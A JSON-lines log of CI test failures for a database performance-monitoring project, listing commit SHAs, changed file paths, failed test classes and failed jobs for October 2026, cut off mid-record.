+{"date":"2026-10-03","head_sha":"b47aad7fc80dd96ddeee3750ecbc73934832cd1c","event":"pull_request","changed_files":["Lite.Tests/DataStartBannerSurfaceTests.cs","Lite.Tests/DataStartBannerTests.cs","Lite/Controls/ServerTab.ConfigChanges.cs","Lite/Controls/ServerTab.LongQueries.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.SystemEvents.cs","Lite/Controls/ServerTab.xaml","Lite/Services/LocalDataService.QueryWindowFloor.cs"],"failed_classes":["PerformanceMonitorLite.Tests.StoredEventCopiesSweepTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-10-03","head_sha":"2aff8820c433392d15303e52a8bb6b218087fdd9","event":"pull_request","changed_files":["Lite.Tests/DataStartBannerBlockingEventsTests.cs","Lite.Tests/QueryWindowTruncationTests.cs","Lite/Controls/ServerTab.DrillDown.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.Slicers.cs","Lite/Controls/ServerTab.xaml","Lite/Services/LocalDataService.QueryWindowFloor.cs"],"failed_classes":["PerformanceMonitorLite.Tests.StoredEventCopiesSweepTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-10-03","head_sha":"ad4b71823a3cc4337e64b0900213ece9106b8af2","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/DropXeSessionsVerbTests.cs","Darling/Darling.Tests/InstallIdRungTests.cs","Darling/Darling.Tests/InstallIdTableOidRungTests.cs","Darling/Darling.Tests/StoreInstallIdBindingRuleTests.cs","Darling/Darling.Tests/StoreInstallIdLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingXeSessionCleanup.cs","Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreInstallId.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/AlwaysOnXeSessionsLiteTests.cs","Lite.Tests/InstallIdStoreTests.cs","Lite.Tests/LongQueryTraceLifecycleLiteTests.cs","Lite/Services/InstallIdStore.cs","Lite/Services/RemoteCollectorService.AlwaysOnXeSessions.cs","Lite/Services/RemoteCollectorService.LongQueryCompletions.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Collectors/AlwaysOnXeSessions.cs","README.md"],"failed_classes":["PerformanceMonitor.Darling.Tests.RetiredBaselineAggregateLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-03","head_sha":"964bf56926c63b31c3c73f3b81cb925ae9a152de","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreWideFleetEligibilityLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs"],"failed_classes":["Darling.Tests.FleetIdentifierScrubTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-03","head_sha":"761b9398ae180a473c2dacd6abb70e610fc62842","event":"pull_request","changed_files":["Lite.Tests/DataStartBannerQueriesTabTests.cs","Lite.Tests/DataStartBannerTests.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.QueriesDataStart.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.xaml","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests"],"failed_jobs":["build"]}
+{"date":"2026-10-03","head_sha":"10f7e41347b062455016cb85d356e8a43ec20a00","event":"pull_request","changed_files":["Darling/Darling.Tests/CommentFilterAdoptionTests.cs","Lite.Tests/DataStartBannerQueriesTabTests.cs","Lite.Tests/DataStartBannerTests.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.QueriesDataStart.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.xaml","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs"],"failed_classes":["Lite.Tests.CrossAppGuardCiGateTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-10-03","head_sha":"8f68d2dd8295393b26f76b3baa822b5f30c86ec8","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorFaultStackLogTests.cs","Darling/Darling.Tests/RdsLogStateConcurrencyTests.cs","Darling/PerformanceMonitor.Darling.Service/CollectorFaultStackLog.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsCsvlogCarry.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockCarry.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs"],"failed_classes":["Darling.Tests.PostgresEngineGateBehaviorTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-10-03","head_sha":"3bb3ae8fe975ee0be69258c3ba40223c044896aa","event":"pull_request","changed_files":["Darling/Darling.Tests/DataWindowFloorTests.cs","Darling/Darling.Tests/ViewerDataStartBannerTests.cs","Darling/Darling.Tests/ViewerEventDataStartLiveTests.cs","Darling/Darling.Tests/ViewerEventDataStartTests.cs","Darling/Darling.Tests/ViewerEventGridsDataStartLiveTests.cs","Darling/Darling.Tests/ViewerLongQueriesDataStartTests.cs","Darling/Darling.Tests/ViewerPlanCorrectionsDataStartTests.cs","Darling/Darling.Tests/ViewerQueryGridsDataStartLiveTests.cs","Darling/Darling.Tests/ViewerQueryHeatmapDataStartTests.cs","Darling/Darling.Tests/ViewerQueryStoreRegressionsDataStartTests.cs","Darling/Darling.Tests/ViewerShortWindowDataStartTests.cs","Darling/Darling.Tests/ViewerSystemEventsDataStartTests.cs","Darling/PerformanceMonitor.Darling.Storage/DataWindowFloor.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LongQueries.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCorrection.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryHeatmap.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerEventDataStart.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EventDataStart.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.LongQueries.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryHeatmap.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.SystemEvents.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml"],"failed_classes":["Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.StoreMetricsLatestSkipScanLiveTests","Darling.Tests.TrendPayloadBudgetLiveTests","Darling.Tests.ViewerCpuTempDbLivePostgresTests","Darling.Tests.WebExceptionTextCensusTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-03","head_sha":"a55a242505154020357d9618af7e150320eab9e0","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/CollectorRunTimeRungTests.cs","Darling/Darling.Tests/CollectorRunTimeTests.cs","Darling/Darling.Tests/DarlingSweepSchedulingTests.cs","Darling/Darling.Tests/InstallIdTableOidRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Collectors/CollectorCadence.cs","PerformanceMonitor.Collectors/CollectorRunTime.cs","PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs"],"failed_classes":["Darling.Tests.StartupCommandTimeoutTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-10-03","head_sha":"261356ae825662fb7dd004f30655b54eee72cb29","event":"pull_request","changed_files":["Lite.Tests/DataStartBannerSurfaceTests.cs","Lite.Tests/DataStartBannerTests.cs","Lite.Tests/QueryWindowTruncationTests.cs","Lite.Tests/StoredEventCopiesSweepTests.cs","Lite/Controls/ServerTab.ConfigChanges.cs","Lite/Controls/ServerTab.LongQueries.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.SystemEvents.cs","Lite/Controls/ServerTab.xaml","Lite/Services/LocalDataService.CollectionHealth.cs","Lite/Services/LocalDataService.LongQueries.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs"],"failed_classes":["Darling.Tests.McpPayloadContractCensusTests"],"failed_jobs":["build"]}
+{"date":"2026-10-03","head_sha":"46cc97a10aca73111a9a277cf3637b0ce12445e4","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpFinOpsToolsTests.cs","Darling/Darling.Tests/FinOpsHighImpactReaderLiveTests.cs","Darling/Darling.Tests/FinOpsWebReadParityLiveTests.cs","Darling/Darling.Tests/McpToolGuideHeads.FinOps.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/ViewerFinOpsHighImpactDelegatesTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.HighImpact.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsHighImpactReader.cs","Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsScoring.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs"],"failed_classes":["Darling.Tests.CollectorEngineCapabilityTests","Darling.Tests.EngineCapabilityReadWiringTests","Lite.Tests.CrossAppMcpToolInventoryPinTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (1)"]}
+{"date":"2026-10-03","head_sha":"8d786686324f6cf74484722c172f5a10d3aee512","event":"pull_request","changed_files":["Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Lite.Tests/DataStartBannerProbeFailureTests.cs","Lite.Tests/DataStartBannerQueriesTabTests.cs","Lite.Tests/DataStartBannerSurfaceTests.cs","Lite.Tests/DataStartBannerTests.cs","Lite.Tests/DisplayZoneTextFrameTests.cs","Lite.Tests/QueryWindowTruncationTests.cs","Lite.Tests/StoredEventCopiesSweepTests.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.ConfigChanges.cs","Lite/Controls/ServerTab.LongQueries.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.SystemEvents.cs","Lite/Controls/ServerTab.xaml","Lite/Services/LocalDataService.CollectionHealth.cs","Lite/Services/LocalDataService.LongQueries.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs","PerformanceMonitor.Ui/ChartHoverHelper.cs"],"failed_classes":["PerformanceMonitor.Darling.Tests.RetiredBaselineAggregateLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-03","head_sha":"f6717e306185c1653560e54afe916463320b6637","event":"pull_request","changed_files":["Darling/Darling.Tests/AsOfWindowAnchorTests.cs","Darling/Darling.Tests/DarlingMcpFinOpsToolsTests.cs","Darling/Darling.Tests/FinOpsHighImpactReaderLiveTests.cs","Darling/Darling.Tests/FinOpsWebReadParityLiveTests.cs","Darling/Darling.Tests/McpToolGuideHeads.FinOps.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/StorageCommandTimeoutTests.cs","Darling/Darling.Tests/ViewerFinOpsHighImpactDelegatesTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.HighImpact.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsHighImpactReader.cs","Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsScoring.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs"],"failed_classes":["Darling.Tests.CollectorEngineCapabilityTests","Darling.Tests.EngineCapabilityReadWiringTests","Lite.Tests.CrossAppMcpToolInventoryPinTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (1)"]}
+{"date":"2026-10-03","head_sha":"3bde72bf30bf5b9f285d4aba415851e2d84d2544","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpFinOpsToolsTests.cs","Darling/Darling.Tests/EngineCapabilityMissTests.cs","Darling/Darling.Tests/FinOpsUtilizationGoldenLiveTests.cs","Darling/Darling.Tests/FinOpsUtilizationViewLiveTests.cs","Darling/Darling.Tests/FinOpsWebReadParityLiveTests.cs","Darling/Darling.Tests/McpToolGuideHeads.FinOps.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Utilization.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-03","head_sha":"a9f62df282a013db88adf22004f5077c83b5af4f","event":"pull_request","changed_files":["Darling/Darling.Tests/JobHistoryCountTextTests.cs","Darling/Darling.Tests/LiteJobHistoryLoadingCapTests.cs","Darling/Darling.Tests/ViewerJobHistoryDataStartLiveTests.cs","Darling/Darling.Tests/ViewerJobHistoryDataStartTests.cs","Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs","Lite.Tests/DataStartBannerSurfaceTests.cs","Lite.Tests/JobHistoryDataStartTests.cs","Lite.Tests/JobHistoryServerClockWindowTests.cs","Lite/Controls/JobHistoryTab.xaml","Lite/Controls/JobHistoryTab.xaml.cs","Lite/MainWindow.xaml.cs","Lite/Services/LocalDataService.JobHistory.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs","PerformanceMonitor.Common/JobHistoryCap.cs"],"failed_classes":["Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-03","head_sha":"99830570d14e086815f23a2fd17efb81215fafcf","event":"pull_request","changed_files":["Darling/Darling.Tests/ViewerBlockingChartsDataStartLiveTests.cs","Darling/Darling.Tests/ViewerBlockingChartsDataStartPinTests.cs","Darling/Darling.Tests/ViewerBlockingChartsDataStartTests.cs","Darling/Darling.Tests/ViewerEventDataStartTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingChartsDataStart.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-03","head_sha":"ffed3540553268d36da0b864d72917c91ed0e382","event":"pull_request","changed_files":["Darling/Darling.Tests/JobHistoryCountTextTests.cs","Darling/Darling.Tests/LiteJobHistoryLoadingCapTests.cs","Darling/Darling.Tests/ViewerJobHistoryDataStartLiveTests.cs","Darling/Darling.Tests/ViewerJobHistoryDataStartTests.cs","Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/JobHistoryTab.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs","Lite.Tests/DataStartBannerSurfaceTests.cs","Lite.Tests/JobHistoryDataStartTests.cs","Lite.Tests/JobHistoryServerClockWindowTests.cs","Lite/Controls/JobHistoryTab.xaml","Lite/Controls/JobHistoryTab.xaml.cs","Lite/MainWindow.xaml.cs","Lite/Services/LocalDataService.JobHistory.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs","PerformanceMonitor.Common/JobHistoryCap.cs"],"failed_classes":["Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-04","head_sha":"c0866d29a2658fa00eaa17e159cf86bf086289a5","event":"push","changed_files":["Darling/Darling.Tests/FinOpsIndexAnalysisLatestTiebreakTests.cs","Darling/Darling.Tests/Fixtures/FinOpsIndexAnalysis/golden.json","Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsIndexAnalysisReader.cs"],"failed_classes":["Darling.Tests.QueryStoreLegacyRowIndexLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-04","head_sha":"475665904568c142e4bbddf9825b9d8d3c36b41e","event":"pull_request","changed_files":["Darling/Darling.Tests/FinOpsTabOptimizationPageTests.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/optimization.js"],"failed_classes":["Darling.Tests.QueryStoreLegacyRowIndexLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-04","head_sha":"9f612f13de4ef902619e7b7bdb6ad94b21c56b22","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeParameterCoverageTests.cs","Darling/Darling.Tests/ComposeSourceRouterTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/IntervalRollupCountGuardLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs","Darling/PerformanceMonitor.Darling.Storage/IntervalRollupCountGuard.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-10-04","head_sha":"c38fa98b46741b3b067206fd4301fe5628184b4d","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingMcpServerTagToolsTests.cs","Darling/Darling.Tests/DarlingServerTagsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTagTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/ServerTagCoverageTests.cs","Darling/Darling.Tests/ServerTagDeleteWarningTests.cs","Darling/Darling.Tests/ServerTagMcpRoleLiveTests.cs","Darling/Darling.Tests/ServerTagRulesTests.cs","Darling/Darling.Tests/ServerTagStoreLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertRuleStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTagTools.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/ServerTagCoverage.cs","Darling/PerformanceMonitor.Darling.Storage/ServerTagRules.cs","Darling/PerformanceMonitor.Darling.Storage/ServerTagStore.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.Tags.cs","Darling/PerformanceMonitor.Darling.Viewer/ManageTagsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerTags.cs","Darling/tools/provision-roles.sql","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","PerformanceMonitor.Common/TagColours.cs","PerformanceMonitor.Ui/TagColorPalette.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.DarlingMcpInstructionsBudgetTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)","build"]}
+{"date":"2026-10-04","head_sha":"80c56c3d552d98efbdcc91ac7007e2eed248ce76","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpJobHistoryToolTests.cs","Darling/Darling.Tests/DarlingMcpJobToolsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpJobTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/packages.lock.json","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingJobHistoryReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingServerClocksReader.cs","Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs","Darling/PerformanceMonitor.Darling.Viewer/packages.lock.json","README.md","llms.txt"],"failed_classes":["Lite.Tests.CrossAppMcpToolInventoryPinTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-10-04","head_sha":"e4e3e8a4076105015706db8446ac55a16ddcdbd6","event":"pull_request","changed_files":["Darling/Darling.Tests/ActiveQueriesWidenedColumnsTests.cs","Darling/Darling.Tests/DarlingMcpActiveQueriesBudgetLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSessionReader.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js"],"failed_classes":["Darling.Tests.FinOpsWindowPickerBehaviourTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (2)","build"]}
+{"date":"2026-10-04","head_sha":"ad44369b11a8a4018c7349da95973e65c36accc3","event":"pull_request","changed_files":["Darling/Darling.Tests/DatabaseConfigWebColumnsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js"],"failed_classes":["Darling.Tests.FinOpsWindowPickerBehaviourTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (2)"]}
+{"date":"2026-10-04","head_sha":"5a143e3f860ccb669e759a7dc99056330a8b60dd","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertHistoryRangePageTests.cs","Darling/Darling.Tests/alert-history-range-harness.mjs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/theme.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/alerts.js"],"failed_classes":["Darling.Tests.FinOpsWindowPickerBehaviourTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (2)"]}
+{"date":"2026-10-04","head_sha":"d8246671f1bc9913be7bfec5bc30317921d03335","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpJobHistoryToolTests.cs","Darling/Darling.Tests/DarlingMcpJobToolsTests.cs","Darling/Darling.Tests/JobHistorySqlTextPinTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpJobTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/packages.lock.json","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingJobHistoryReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingServerClocksReader.cs","Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs","Darling/PerformanceMonitor.Darling.Viewer/packages.lock.json","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.FinOpsWindowPickerBehaviourTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-10-04","head_sha":"c20797c24a525d965b181a3f8d8ae47a236c97aa","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingWebAssetsTests.cs","Darling/Darling.Tests/GridToolsBehaviourTests.cs","Darling/Darling.Tests/finops-window-picker-harness.mjs","Darling/Darling.Tests/web-grid-tools-harness.mjs","Darling/Darling.Tests/web-kept-history-harness.mjs","Darling/Darling.Tests/web-perfmon-harness.mjs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/theme.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-tools.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/alerts.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/read-fields.js"],"failed_classes":["Darling.Tests.PgDeadlockNormalizationTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-10-04","head_sha":"d40edb18e786a2f1960c5377d6540eba170c3053","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionCaveatsWebTests.cs","Darling/Darling.Tests/web-collection-caveats-harness.mjs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectionCaveatReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js"],"failed_classes":["Darling.Tests.PgIndexBloatGridReachTests","Darling.Tests.WebMemoryPressureChartBehaviourTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (1)"]}
+{"date":"2026-10-04","head_sha":"863017a89e7e8d1e15d1c7529fe535158e005dc7","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/CollectorRunTimeRungTests.cs","Darling/Darling.Tests/QueryStoreTopDailyBuilderLiveTests.cs","Darling/Darling.Tests/QueryStoreTopDailyRungTests.cs","Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreTopDaily.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.QueryStoreTopDailyRungTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (2)"]}
+{"date":"2026-10-04","head_sha":"7abe9e9507ecafb7d8c3b38d73b751016401a9bf","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingMcpServerTagToolsTests.cs","Darling/Darling.Tests/DarlingServerTagsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTagTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/ServerRemovalClearsTagsLiveTests.cs","Darling/Darling.Tests/ServerTagCoverageTests.cs","Darling/Darling.Tests/ServerTagDeleteWarningTests.cs","Darling/Darling.Tests/ServerTagMcpRoleLiveTests.cs","Darling/Darling.Tests/ServerTagRulesTests.cs","Darling/Darling.Tests/ServerTagStoreLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertRuleStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTagTools.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.c